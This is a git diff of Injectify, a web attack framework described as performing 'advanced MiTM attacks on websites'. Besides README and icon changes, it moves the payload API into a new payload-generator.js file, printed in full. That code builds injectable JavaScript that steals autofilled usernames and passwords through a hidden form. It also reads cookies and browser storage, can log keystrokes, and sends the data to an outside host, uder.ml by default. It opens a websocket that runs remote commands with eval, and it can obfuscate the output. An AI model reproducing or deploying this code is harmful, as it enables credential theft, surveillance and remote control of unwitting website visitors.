diff --git a/README.md b/README.md index d74d2893..17b01543 100644 --- a/README.md +++ b/README.md @@ -1,17 +1,68 @@ -# Injectify +

+ + + +

Injectify

+

+ Perform advanced MiTM attacks on websites with ease. +

+

+

+ + + Website +  | + + Trello +  | + + Discord +  | + + Browse the docs + + +

+ + + + + + + + + +

+

+ + ![Screenshot of the Injectify UI](https://samdd.me/images/projects/injectify.png) A modern BeEF inspired framework for the 21st century. -## Setting up the server +## Getting started +1. Clone this repo +2. [Download & install MongoDB](https://www.mongodb.com/download-center#community) +> +> If using Windows, make sure `C:\Program Files\MongoDB\Server\3.4\bin\mongod.exe` is in your path environment variable +3. [Create a new GitHub application](https://github.com/settings/applications/new)

+![GitHub Applications page](https://i.imgur.com/oiuiMhR.png) +4. Copy `server.config.example.js` to `server.config.js` and replace the GitHub client ID and secret.

+![GitHub client ID & secret](https://i.imgur.com/JId0Wyk.png) +![server.config.js](https://i.imgur.com/cRcES59.png) +5. Making sure NodeJS and NPM are installed, and run the following in a terminal: +```bash +# install Yarn package manager +sudo npm i -g yarn -- [Download & install MongoDB](https://www.mongodb.com/download-center#community) - - If using Windows, make sure `C:\Program Files\MongoDB\Server\3.4\bin\mongod.exe` is in your path environment variable -- Go into the `source/server/` folder and execute `npm run dev` +# make sure you're in the root of the Injectify repo +yarn run install-all -[![Analytics](https://ga-beacon.appspot.com/UA-85426772-5/Injectify/?pixel)](https://github.com/igrigorik/ga-beacon) +# this will start the MongoDB database & the webpack dev server +yarn run dev +# MAKE SURE to run this in a new terminal in the Injectify directory +yarn run server ``` -npm install -g nodemon -npm install -g cross-env +6. Injectify is now available over at [`http://localhost:3000`](http://localhost:3000) -``` \ No newline at end of file +[![Analytics](https://ga-beacon.appspot.com/UA-85426772-5/Injectify/?pixel)](https://github.com/igrigorik/ga-beacon) \ No newline at end of file diff --git a/assets/discord/avatar.png b/assets/discord/avatar.png index ed0ed61a..58243333 100644 Binary files a/assets/discord/avatar.png and b/assets/discord/avatar.png differ diff --git a/assets/injectify.png b/assets/injectify.png index ed0ed61a..eb1f3b01 100644 Binary files a/assets/injectify.png and b/assets/injectify.png differ diff --git a/assets/sizes/transparent.png b/assets/sizes/transparent.png new file mode 100644 index 00000000..f85e00a2 Binary files /dev/null and b/assets/sizes/transparent.png differ diff --git a/assets/sizes/transparent.svg b/assets/sizes/transparent.svg new file mode 100644 index 00000000..ed1da5fd --- /dev/null +++ b/assets/sizes/transparent.svg @@ -0,0 +1,4 @@ + + + + diff --git a/assets/sizes/transparent_white.png b/assets/sizes/transparent_white.png new file mode 100644 index 00000000..55e324cd Binary files /dev/null and b/assets/sizes/transparent_white.png differ diff --git a/assets/sizes/transparent_white.svg b/assets/sizes/transparent_white.svg new file mode 100644 index 00000000..1ca6a793 --- /dev/null +++ b/assets/sizes/transparent_white.svg @@ -0,0 +1,4 @@ + + + + diff --git a/interface/android-chrome-192x192.png b/interface/android-chrome-192x192.png new file mode 100644 index 00000000..49e8d625 Binary files /dev/null and b/interface/android-chrome-192x192.png differ diff --git a/interface/android-chrome-512x512.png b/interface/android-chrome-512x512.png new file mode 100644 index 00000000..fffc8281 Binary files /dev/null and b/interface/android-chrome-512x512.png differ diff --git a/interface/apple-touch-icon.png b/interface/apple-touch-icon.png new file mode 100644 index 00000000..a4633543 Binary files /dev/null and b/interface/apple-touch-icon.png differ diff --git a/interface/browserconfig.xml b/interface/browserconfig.xml new file mode 100644 index 00000000..90b4ab26 --- /dev/null +++ b/interface/browserconfig.xml @@ -0,0 +1,9 @@ + + + + + + #3f51b5 + + + diff --git a/interface/favicon-16x16.png b/interface/favicon-16x16.png new file mode 100644 index 00000000..4b1bac1a Binary files /dev/null and b/interface/favicon-16x16.png differ diff --git a/interface/favicon-32x32.png b/interface/favicon-32x32.png new file mode 100644 index 00000000..6a2105c1 Binary files /dev/null and b/interface/favicon-32x32.png differ diff --git a/interface/favicon.ico b/interface/favicon.ico new file mode 100644 index 00000000..ab092e28 Binary files /dev/null and b/interface/favicon.ico differ diff --git a/interface/index.html b/interface/index.html index 4f70237e..352762e1 100644 --- a/interface/index.html +++ b/interface/index.html @@ -10,10 +10,18 @@ - - - + Injectify + + + + + + + + + + @@ -24,6 +32,7 @@ + diff --git a/interface/manifest.json b/interface/manifest.json new file mode 100644 index 00000000..e3d9abfc --- /dev/null +++ b/interface/manifest.json @@ -0,0 +1,18 @@ +{ + "name": "Injectify", + "icons": [ + { + "src": "/android-chrome-192x192.png", + "sizes": "192x192", + "type": "image/png" + }, + { + "src": "/android-chrome-512x512.png", + "sizes": "512x512", + "type": "image/png" + } + ], + "theme_color": "#ffffff", + "background_color": "#ffffff", + "display": "standalone" +} \ No newline at end of file diff --git a/interface/mstile-150x150.png b/interface/mstile-150x150.png new file mode 100644 index 00000000..811e2c30 Binary files /dev/null and b/interface/mstile-150x150.png differ diff --git a/interface/safari-pinned-tab.svg b/interface/safari-pinned-tab.svg new file mode 100644 index 00000000..9ec4960f --- /dev/null +++ b/interface/safari-pinned-tab.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/main.js b/main.js index 51cd1a95..c319e37e 100644 --- a/main.js +++ b/main.js @@ -44,9 +44,7 @@ const {flag} = require('country-emoji') const twemoji = require('twemoji') const atob = require('atob') const btoa = require('btoa') -const beautify = require('js-beautify').js_beautify const UglifyJS = require('uglify-es') -const ObfuscateJS = require('js-obfuscator') const reverse = require('reverse-string') const cookieParser = require('cookie-parser') const parseAgent = require('user-agent-parser') @@ -2142,312 +2140,7 @@ MongoClient.connect(config.mongodb, (err, client) => { /** * Payload API */ - app.get('/api/payload/*', apiLimiter, (req, res) => { - function enc (string, enableEval) { - if (req.query.base64 === 'false') { - if (enableEval) { - return string - } else { - return '"' + string + '"' - } - } else { - if (enableEval) { - return 'eval(atob("' + btoa(string) + '"))' - } else { - return 'atob("' + btoa(string) + '")' - } - } - } - function comment (message) { - if (req.query.comments === 'true') { - return '\n// ' + message - } else { - return '' - } - } - function ifPassword (script) { - if (req.query.passwords === 'false') { - return '' - } else { - return script + '\n' - } - } - function ifNotPassword (script) { - if (req.query.passwords === 'false') { - return script + '\n' - } else { - return '' - } - } - function debug (script) { - if (req.query.debug === 'true') { - return '\n' + script - } else { - return '' - } - } - function sendToServer (url) { - if (config.dev) url = '"http:"+' + url - if (bypassCors) { - return 'window.location=' + url + '+"$"' - } else { - return enc('c.src=' + url, true) - } - } - let valid = true - if (!req.query.project) valid = false - - let inject = false - if (req.query.inject === 'true') inject = true - let keylogger = false - if (req.query.keylogger === 'true') keylogger = true - let screenSize = true - if (req.query.screenSize === 'false') screenSize = false - let location = true - if (req.query.location === 'false') location = false - let localStorage = true - if (req.query.localStorage === 'false') localStorage = false - let sessionStorage = true - if (req.query.sessionStorage === 'false') sessionStorage = false - let cookies = true - if (req.query.cookies === 'false') cookies = false - let bypassCors = false - if (req.query.bypassCors === 'true') bypassCors = true - - let proxy = '//uder.ml/' // '//injectify.samdd.me/' - if (req.query.proxy) proxy = req.query.proxy - let wss = 'wss:' - if (config.dev) { - proxy = '//localhost:' + config.express + '/' - wss = 'ws:' - } - - let injectProject = btoa(req.query.project) - if (req.query.debug === 'true') injectProject = '$' + injectProject - let help = ` - // ┌─────────────────────────────────────┐ - // │ Injectify payload engine © │ - // │ INTELLECTUAL PROPERTY OF SAMDD │ - // ├────────────────┬─────────┬──────────┤ - // │ GET_PARAM │ TYPE │ DEFAULT │ - // ├────────────────┼─────────┼──────────┤ - // │ project │ STRING │ REQUIRED │ - // │ proxy │ URL │ NONE │ - // │ base64 │ BOOLEAN │ TRUE │ - // │ obfuscate │ BOOLEAN │ FALSE │ - // │ minify │ BOOLEAN │ FALSE │ - // │ comments │ BOOLEAN │ FALSE │ - // | debug | BOOLEAN | FALSE | - // | bypassCors | BOOLEAN | FALSE | - // │ │ │ │ - // | inject │ BOOLEAN │ FALSE | - // | passwords │ BOOLEAN │ TRUE | - // | keylogger │ BOOLEAN │ FALSE | - // │ screenSize │ BOOLEAN │ TRUE │ - // │ location │ BOOLEAN │ TRUE │ - // │ localStorage │ BOOLEAN │ TRUE │ - // │ sessionStorage │ BOOLEAN │ TRUE │ - // │ cookies │ BOOLEAN │ TRUE │ - // └────────────────┴─────────┴──────────┘` - - if (valid) { - res.setHeader('Content-Type', 'application/javascript') - - let variables = '' - let json = '' - let body = '' - let catcher = '' - let injectScript - - if (inject) { - let websocket = "'"+ wss + "'+p+'i/websocket?" + injectProject + "'" - if (req.query.passwords === 'false' && keylogger === false) websocket = "'" + wss + proxy + "i/websocket?" + injectProject + "'" - body += ` - function u() {` + comment('Open a new websocket to the server') + ` - window.ws = new WebSocket(` + websocket + `) - ws.onmessage = function(d) { - try {` + comment('Parse the websocket message as JSON') + ` - d = JSON.parse(d.data)` + comment('Evaluate the javascript') + ` - eval(d.d) - } catch(e) {` + comment('On error send error back to server') + ` - ws.send(JSON.stringify({ - t: 'e', - d: e.stack, - })) - } - } - ws.onclose = function() {` + comment('Attempt to re-open the websocket, retrying every 3 seconds') + ` - setTimeout(u, 3000) - } - } - u() - ` - injectScript = body - } - if (keylogger) { - variables += 'm = {}, f = [], g = new Date().getTime(),' - body += comment('add listeners to the window for keydown & keyup events') + ` - k.onkeydown = k.onkeyup = function (n) { - var l = '',` + comment('give the keycode number to variables h & z') + ` - h = n.key, - z = h` + comment("if the key type ends with p => then it's keyup") + ` - if (n.type.slice(-1) == 'p') l = '_'` + comment('append the keyup / keydown indicator') + ` - z += l` + comment('ignore multiple modifier calls & invalid key presses') + ` - if (m == z || !h) return` + comment('Push to array') + ` - f.push(z)` + comment('update the value of the last m(odifier) key press') + ` - if (h.length > 1) m = z - ` + debug(` - if (n.key && n.key.length > 1) { - console.log('%c[keylogger@INJECTIFY] %cModifier key state changed', 'color: #ef5350; font-weight: bold', 'color: #FF9800', n) - } else { - console.log('%c[keylogger@INJECTIFY] %cKey state changed', 'color: #ef5350; font-weight: bold', 'color: #FF9800', n) - } - `) + ` - } - - setInterval(function() {` + comment('if the array is empty, skip making a request') + ` - if (!f.length) return - i = { - a: atob("` + btoa(req.query.project) + `"), - t: 1, - b: g, - c: f, - d: k.location.href, - j: d.title - } - ` + sendToServer("p+'r/'+btoa(encodeURI(JSON.stringify(i))).split('').reverse().join('')") + ` - f = [] - }, 3000) - ` - } - if (screenSize) { - variables += 'j = k.screen,' - json += 'e: j.height, f: j.width,' - } - if (location) json += 'd: k.location.href, j: d.title,' - if (localStorage) catcher += 'i.g = localStorage,' - if (sessionStorage) catcher += 'i.h = sessionStorage,' - if (cookies) json += 'i: d.cookie,' - - if (variables) variables = ',' + variables.slice(0, -1) - if (json) json = ',' + json.slice(0, -1) - if (catcher) { - if (req.query.debug === 'true') { - catcher = '\n' + catcher.slice(0, -1) - } else { - catcher = '\ntry {' + comment('attempt to insert the local & session storage into object, but ignore if it fails\n') + catcher.slice(0, -1) + '} catch(error) {}\n\n' - } - } - - let script = help + ` - // Project name | ` + req.query.project + ` - - - ` + injectScript - if (!(req.query.passwords == 'false' && keylogger == false)) { - script = help + ` - // Project name | ` + req.query.project + ` - - - var d = document,` + - ifPassword(` - v = ` + enc('input') + `, - w = d.createElement(` + enc('form') + `), - x = d.createElement(v), - y,` - ) + - `c = ` + enc('new Image()', true) + `, - p = ` + enc(proxy) + `, - i, - k = window` + variables + - - ifPassword(`\n` + - comment('name attribute is required for autofill to work') + ` - x.name = ""` + - - comment('autofill still works if the elements are non-rendered') + ` - x.style = ` + enc('display:none') + ` - ` + - - comment('clone the input node instead of declaring it again') + ` - y = x.cloneNode()` + - - comment('set the input type to password') + ` - y.type = ` + enc('password') + ` - ` + - - comment('append elements to form node') + ` - w.appendChild(x) - w.appendChild(y)` + - - comment('append form node to DOM') + ` - d.body.appendChild(w)` - ) + '\n' + - - body + - - ifPassword( - comment("add a listener to the password input, browser's autofiller will trigger this") + ` - y.addEventListener(v, function () {` + comment('construct a global object with data to extract') - ) + ifNotPassword(`\n`) + - `i = { - a: atob("` + btoa(req.query.project) + `"), - t: 0` + - ifPassword(`, - b: x.value, - c: y.value` - ) + json + ` - } - ` + catcher + - ifPassword(debug("console.log('%c[INJECTIFY] %cCaptured username & password', 'color: #ef5350; font-weight: bold', 'color: #FF9800', i)\n")) + - - comment('send a request to the server (or proxy) with the BASE64 encoded JSON object\n') + - sendToServer(`p+'r/'+btoa(encodeURI(JSON.stringify(i))).split('').reverse().join('')`) + - ifPassword( - comment("remove the form node from the DOM (so it can't be (easily) seen in devtools)") + ` - w.remove() - })` - ) - /// //////////////////////////////////////////////////////////////////////// - } - - if (req.query.obfuscate === 'true') { - ObfuscateJS(script, { - - }).then(obfuscated => { - res.send(obfuscated) - }, function (err) { - res.send(UglifyJS.minify(script).code) - throw err - }) - } else if (req.query.minify === 'true') { - res.send( - UglifyJS.minify(script).code - ) - } else { - res.send( - beautify(script, { - indent_size: 2 - }) - ) - } - } else { - res.setHeader('Content-Type', 'application/javascript') - let script = help - res.status(400).send( - beautify(script, { - indent_size: 2 - }) - ) - } - if (config.debug) { - console.log( - chalk.greenBright('[Payload] ') + - chalk.yellowBright('generated for project ') + - chalk.magentaBright(req.query.project) - ) - } - }) + app.get('/api/payload/*', apiLimiter, require('./src/api/payload-generator')) /** * Project API diff --git a/src/api/payload-generator.js b/src/api/payload-generator.js new file mode 100644 index 00000000..35d5c75a --- /dev/null +++ b/src/api/payload-generator.js @@ -0,0 +1,308 @@ +const chalk = require('chalk') +const ObfuscateJS = require('js-obfuscator') +const beautify = require('js-beautify').js_beautify + +module.exports = (req, res) => { + function enc (string, enableEval) { + if (req.query.base64 === 'false') { + if (enableEval) { + return string + } else { + return '"' + string + '"' + } + } else { + if (enableEval) { + return 'eval(atob("' + btoa(string) + '"))' + } else { + return 'atob("' + btoa(string) + '")' + } + } + } + function comment (message) { + if (req.query.comments === 'true') { + return '\n// ' + message + } else { + return '' + } + } + function ifPassword (script) { + if (req.query.passwords === 'false') { + return '' + } else { + return script + '\n' + } + } + function ifNotPassword (script) { + if (req.query.passwords === 'false') { + return script + '\n' + } else { + return '' + } + } + function debug (script) { + if (req.query.debug === 'true') { + return '\n' + script + } else { + return '' + } + } + function sendToServer (url) { + if (config.dev) url = '"http:"+' + url + if (bypassCors) { + return 'window.location=' + url + '+"$"' + } else { + return enc('c.src=' + url, true) + } + } + let valid = true + if (!req.query.project) valid = false + + let inject = false + if (req.query.inject === 'true') inject = true + let keylogger = false + if (req.query.keylogger === 'true') keylogger = true + let screenSize = true + if (req.query.screenSize === 'false') screenSize = false + let location = true + if (req.query.location === 'false') location = false + let localStorage = true + if (req.query.localStorage === 'false') localStorage = false + let sessionStorage = true + if (req.query.sessionStorage === 'false') sessionStorage = false + let cookies = true + if (req.query.cookies === 'false') cookies = false + let bypassCors = false + if (req.query.bypassCors === 'true') bypassCors = true + + let proxy = '//uder.ml/' // '//injectify.samdd.me/' + if (req.query.proxy) proxy = req.query.proxy + let wss = 'wss:' + if (config.dev) { + proxy = '//localhost:' + config.express + '/' + wss = 'ws:' + } + + let injectProject = btoa(req.query.project) + if (req.query.debug === 'true') injectProject = '$' + injectProject + let help = ` + // ┌─────────────────────────────────────┐ + // │ Injectify payload engine © │ + // │ INTELLECTUAL PROPERTY OF SAMDD │ + // ├────────────────┬─────────┬──────────┤ + // │ GET_PARAM │ TYPE │ DEFAULT │ + // ├────────────────┼─────────┼──────────┤ + // │ project │ STRING │ REQUIRED │ + // │ proxy │ URL │ NONE │ + // │ base64 │ BOOLEAN │ TRUE │ + // │ obfuscate │ BOOLEAN │ FALSE │ + // │ minify │ BOOLEAN │ FALSE │ + // │ comments │ BOOLEAN │ FALSE │ + // | debug | BOOLEAN | FALSE | + // | bypassCors | BOOLEAN | FALSE | + // │ │ │ │ + // | inject │ BOOLEAN │ FALSE | + // | passwords │ BOOLEAN │ TRUE | + // | keylogger │ BOOLEAN │ FALSE | + // │ screenSize │ BOOLEAN │ TRUE │ + // │ location │ BOOLEAN │ TRUE │ + // │ localStorage │ BOOLEAN │ TRUE │ + // │ sessionStorage │ BOOLEAN │ TRUE │ + // │ cookies │ BOOLEAN │ TRUE │ + // └────────────────┴─────────┴──────────┘` + + if (valid) { + res.setHeader('Content-Type', 'application/javascript') + + let variables = '' + let json = '' + let body = '' + let catcher = '' + let injectScript + + if (inject) { + let websocket = "'"+ wss + "'+p+'i/websocket?" + injectProject + "'" + if (req.query.passwords === 'false' && keylogger === false) websocket = "'" + wss + proxy + "i/websocket?" + injectProject + "'" + body += ` + function u() {` + comment('Open a new websocket to the server') + ` + window.ws = new WebSocket(` + websocket + `) + ws.onmessage = function(d) { + try {` + comment('Parse the websocket message as JSON') + ` + d = JSON.parse(d.data)` + comment('Evaluate the javascript') + ` + eval(d.d) + } catch(e) {` + comment('On error send error back to server') + ` + ws.send(JSON.stringify({ + t: 'e', + d: e.stack, + })) + } + } + ws.onclose = function() {` + comment('Attempt to re-open the websocket, retrying every 3 seconds') + ` + setTimeout(u, 3000) + } + } + u() + ` + injectScript = body + } + if (keylogger) { + variables += 'm = {}, f = [], g = new Date().getTime(),' + body += comment('add listeners to the window for keydown & keyup events') + ` + k.onkeydown = k.onkeyup = function (n) { + var l = '',` + comment('give the keycode number to variables h & z') + ` + h = n.key, + z = h` + comment("if the key type ends with p => then it's keyup") + ` + if (n.type.slice(-1) == 'p') l = '_'` + comment('append the keyup / keydown indicator') + ` + z += l` + comment('ignore multiple modifier calls & invalid key presses') + ` + if (m == z || !h) return` + comment('Push to array') + ` + f.push(z)` + comment('update the value of the last m(odifier) key press') + ` + if (h.length > 1) m = z + ` + debug(` + if (n.key && n.key.length > 1) { + console.log('%c[keylogger@INJECTIFY] %cModifier key state changed', 'color: #ef5350; font-weight: bold', 'color: #FF9800', n) + } else { + console.log('%c[keylogger@INJECTIFY] %cKey state changed', 'color: #ef5350; font-weight: bold', 'color: #FF9800', n) + } + `) + ` + } + + setInterval(function() {` + comment('if the array is empty, skip making a request') + ` + if (!f.length) return + i = { + a: atob("` + btoa(req.query.project) + `"), + t: 1, + b: g, + c: f, + d: k.location.href, + j: d.title + } + ` + sendToServer("p+'r/'+btoa(encodeURI(JSON.stringify(i))).split('').reverse().join('')") + ` + f = [] + }, 3000) + ` + } + if (screenSize) { + variables += 'j = k.screen,' + json += 'e: j.height, f: j.width,' + } + if (location) json += 'd: k.location.href, j: d.title,' + if (localStorage) catcher += 'i.g = localStorage,' + if (sessionStorage) catcher += 'i.h = sessionStorage,' + if (cookies) json += 'i: d.cookie,' + + if (variables) variables = ',' + variables.slice(0, -1) + if (json) json = ',' + json.slice(0, -1) + if (catcher) { + if (req.query.debug === 'true') { + catcher = '\n' + catcher.slice(0, -1) + } else { + catcher = '\ntry {' + comment('attempt to insert the local & session storage into object, but ignore if it fails\n') + catcher.slice(0, -1) + '} catch(error) {}\n\n' + } + } + + let script = help + ` + // Project name | ` + req.query.project + ` + + + ` + injectScript + if (!(req.query.passwords == 'false' && keylogger == false)) { + script = help + ` + // Project name | ` + req.query.project + ` + + + var d = document,` + + ifPassword(` + v = ` + enc('input') + `, + w = d.createElement(` + enc('form') + `), + x = d.createElement(v), + y,` + ) + + `c = ` + enc('new Image()', true) + `, + p = ` + enc(proxy) + `, + i, + k = window` + variables + + + ifPassword(`\n` + + comment('name attribute is required for autofill to work') + ` + x.name = ""` + + + comment('autofill still works if the elements are non-rendered') + ` + x.style = ` + enc('display:none') + ` + ` + + + comment('clone the input node instead of declaring it again') + ` + y = x.cloneNode()` + + + comment('set the input type to password') + ` + y.type = ` + enc('password') + ` + ` + + + comment('append elements to form node') + ` + w.appendChild(x) + w.appendChild(y)` + + + comment('append form node to DOM') + ` + d.body.appendChild(w)` + ) + '\n' + + + body + + + ifPassword( + comment("add a listener to the password input, browser's autofiller will trigger this") + ` + y.addEventListener(v, function () {` + comment('construct a global object with data to extract') + ) + ifNotPassword(`\n`) + + `i = { + a: atob("` + btoa(req.query.project) + `"), + t: 0` + + ifPassword(`, + b: x.value, + c: y.value` + ) + json + ` + } + ` + catcher + + ifPassword(debug("console.log('%c[INJECTIFY] %cCaptured username & password', 'color: #ef5350; font-weight: bold', 'color: #FF9800', i)\n")) + + + comment('send a request to the server (or proxy) with the BASE64 encoded JSON object\n') + + sendToServer(`p+'r/'+btoa(encodeURI(JSON.stringify(i))).split('').reverse().join('')`) + + ifPassword( + comment("remove the form node from the DOM (so it can't be (easily) seen in devtools)") + ` + w.remove() + })` + ) + /// //////////////////////////////////////////////////////////////////////// + } + + if (req.query.obfuscate === 'true') { + ObfuscateJS(script).then(obfuscated => { + res.send(obfuscated) + }, function (err) { + res.send(UglifyJS.minify(script).code) + throw err + }) + } else if (req.query.minify === 'true') { + res.send( + UglifyJS.minify(script).code + ) + } else { + res.send( + beautify(script, { + indent_size: 2 + }) + ) + } + } else { + res.setHeader('Content-Type', 'application/javascript') + let script = help + res.status(400).send( + beautify(script, { + indent_size: 2 + }) + ) + } + if (config.debug) { + console.log( + chalk.greenBright('[Payload] ') + + chalk.yellowBright('generated for project ') + + chalk.magentaBright(req.query.project) + ) + } +} \ No newline at end of file